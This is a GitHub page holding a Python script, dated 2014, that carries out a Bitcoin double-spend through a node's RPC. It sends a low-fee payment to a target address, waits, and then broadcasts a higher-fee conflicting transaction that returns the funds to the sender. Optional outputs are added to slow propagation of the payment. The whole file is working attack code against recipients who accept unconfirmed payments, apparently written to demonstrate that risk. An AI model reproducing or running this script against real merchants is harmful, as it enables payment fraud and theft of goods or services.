Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

executable file 222 lines (173 sloc) 7.79 KB
#!/usr/bin/python3
# Copyright (C) 2014 Peter Todd <pete@petertodd.org>
#
# This file is subject to the license terms in the LICENSE file found in the
# top-level directory of this distribution.
import argparse
import binascii
import bitcoin
import bitcoin.rpc
import logging
import math
import time
from bitcoin.core import b2x, b2lx, x, lx, str_money_value, COIN, CMutableTransaction, CMutableTxIn, CMutableTxOut
from bitcoin.core.script import CScript, OP_RETURN, OP_CHECKMULTISIG
from bitcoin.wallet import CBitcoinAddress
parser = argparse.ArgumentParser(
description="Attempt to double-spend a payment",
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-t', action='store_true',
dest='testnet',
help='Enable testnet')
parser.add_argument('-n', action='store_true',
dest='dryrun',
help="Dry-run; don't actually send the transactions")
parser.add_argument('-d', action='store', type=int,
default=15,
dest='delay',
help="Delay in seconds between payment and double-spend")
parser.add_argument('--dust', action='store', type=float,
default=0.0001,
help="Dust amount")
parser.add_argument('--fee1', action='store', type=float,
metavar='FEEPERKB',
default=0.000011,
help='Fee-per-KB of payment transaction')
parser.add_argument('--fee2', action='store', type=float,
metavar='FEEPERKB',
default=0.001,
help='Fee-per-KB of double-spend transaction')
parser.add_argument('--op-return', action='store_true',
help="Add OP_RETURN <data> output to payment tx")
parser.add_argument('--multisig', action='store_true',
help="Add multisig output to payment tx")
parser.add_argument('--optinrbf', action='store_true',
default=False,
help="Signal full-RBF opt-in (BIP125)")
parser.add_argument('--bad-addr', action='append',
default=[],
help="Pay some dust to a 'bad' address to discourage propagation")
parser.add_argument('address', action='store', type=str,
help='Address to double-spend')
parser.add_argument('amount', action='store', type=float,
help='Amount to send')
args = parser.parse_args()
logging.root.setLevel('DEBUG')
if args.testnet:
bitcoin.SelectParams('testnet')
rpc = bitcoin.rpc.Proxy()
args.dust = int(args.dust * COIN)
feeperbyte1 = args.fee1 / 1000 * COIN
feeperbyte2 = args.fee2 / 1000 * COIN
# Construct payment tx
payment_address = CBitcoinAddress(args.address)
payment_txout = CMutableTxOut(int(args.amount * COIN), payment_address.to_scriptPubKey())
change_txout = CMutableTxOut(0, rpc.getnewaddress().to_scriptPubKey())
tx = CMutableTransaction()
tx.vout.append(change_txout)
tx.vout.append(payment_txout)
# Add all undesirable txouts meant to reduce propagation
if args.op_return:
op_ret_txout = CMutableTxOut(0, CScript([OP_RETURN, b'\x00unsuccessful double-spend attempt\x00']))
tx.vout.append(op_ret_txout)
if args.multisig:
multisig_txout = CMutableTxOut(args.dust,
CScript([1, x('0378d430274f8c5ec1321338151e9f27f4c676a008bdf8638d07c0b6be9ab35c71'),
b'\x00'*33,
2, OP_CHECKMULTISIG]))
tx.vout.append(multisig_txout)
tx1_nSequence = 0xFFFFFFFF-2 if args.optinrbf else 0xFFFFFFFF
tx2_nSequence = tx1_nSequence # maybe they should be different in the future?
for bad_addr in args.bad_addr:
bad_addr = CBitcoinAddress(bad_addr)
txout = CMutableTxOut(args.dust, bad_addr.to_scriptPubKey())
tx.vout.append(txout)
# Add inputs until we meet the fee1 threshold
unspent = sorted(rpc.listunspent(1), key=lambda x: x['amount'])
value_in = 0
value_out = sum([vout.nValue for vout in tx.vout])
while (value_in - value_out) / len(tx.serialize()) < feeperbyte1:
# What's the delta fee that we need to get to our desired fees per byte at
# the current tx size?
delta_fee = math.ceil((feeperbyte1 * len(tx.serialize())) - (value_in - value_out))
logging.debug('Delta fee: %s' % str_money_value(delta_fee))
# If we simply subtract that from the change outpoint are we still above
# the dust threshold?
if change_txout.nValue - delta_fee > args.dust:
change_txout.nValue -= delta_fee
value_out -= delta_fee
# Do we need to add another input?
if value_in - value_out < 0:
new_outpoint = unspent[-1]['outpoint']
new_amount = unspent[-1]['amount']
unspent = unspent[:-1]
logging.debug('Adding new input %s:%d with value %s BTC' % \
(b2lx(new_outpoint.hash), new_outpoint.n,
str_money_value(new_amount)))
new_txin = CMutableTxIn(new_outpoint, nSequence=tx1_nSequence)
tx.vin.append(new_txin)
value_in += new_amount
change_txout.nValue += new_amount
value_out += new_amount
# Resign the tx so we can figure out how large the new input's scriptSig will be.
r = rpc.signrawtransaction(tx)
assert(r['complete'])
tx.vin[-1].scriptSig = r['tx'].vin[-1].scriptSig
r = rpc.signrawtransaction(tx)
assert(r['complete'])
tx = CMutableTransaction.from_tx(r['tx'])
logging.debug('Payment tx %s' % b2x(tx.serialize()))
logging.info('Payment tx size: %.3f KB, fees: %s, %s BTC/KB' % \
(len(tx.serialize()) / 1000,
str_money_value(value_in-value_out),
str_money_value((value_in-value_out) / len(tx.serialize()) * 1000)))
if not args.dryrun:
txid = rpc.sendrawtransaction(tx)
logging.info('Sent payment tx: %s' % b2lx(txid))
if not args.dryrun:
logging.info('Sleeping for %d seconds' % args.delay)
time.sleep(args.delay)
# Double-spend! Remove all but the change output
tx.vout = tx.vout[0:1]
change_txout = tx.vout[0]
value_out = value_in
change_txout.nValue = value_out
# FIXME: need to modularize this code
while (value_in - value_out) / len(tx.serialize()) < feeperbyte2:
# What's the delta fee that we need to get to our desired fees per byte at
# the current tx size?
delta_fee = math.ceil((feeperbyte2 * len(tx.serialize())) - (value_in - value_out))
logging.debug('Delta fee: %s' % str_money_value(delta_fee))
# If we simply subtract that from the change outpoint are we still above
# the dust threshold?
if change_txout.nValue - delta_fee > args.dust:
change_txout.nValue -= delta_fee
value_out -= delta_fee
# Do we need to add another input?
if value_in - value_out < 0:
new_outpoint = unspent[-1]['outpoint']
new_amount = unspent[-1]['amount']
unspent = unspent[:-1]
logging.debug('Adding new input %s:%d with value %s BTC' % \
(b2lx(new_outpoint.hash), new_outpoint.n,
str_money_value(new_amount)))
new_txin = CMutableTxIn(new_outpoint, nSequence=tx2_nSequence)
tx.vin.append(new_txin)
value_in += new_amount
change_txout.nValue += new_amount
value_out += new_amount
# Resign the tx so we can figure out how large the new input's scriptSig will be.
r = rpc.signrawtransaction(tx)
assert(r['complete'])
tx.vin[-1].scriptSig = r['tx'].vin[-1].scriptSig
r = rpc.signrawtransaction(tx)
assert(r['complete'])
tx = r['tx']
logging.debug('Double-spend tx %s' % b2x(tx.serialize()))
logging.info('Double-spend tx size: %.3f KB, fees: %s, %s BTC/KB' % \
(len(tx.serialize()) / 1000,
str_money_value(value_in-value_out),
str_money_value((value_in-value_out) / len(tx.serialize()) * 1000)))
if not args.dryrun:
txid = rpc.sendrawtransaction(tx)
logging.info('Sent double-spend tx: %s' % b2lx(txid))
You can’t perform that action at this time.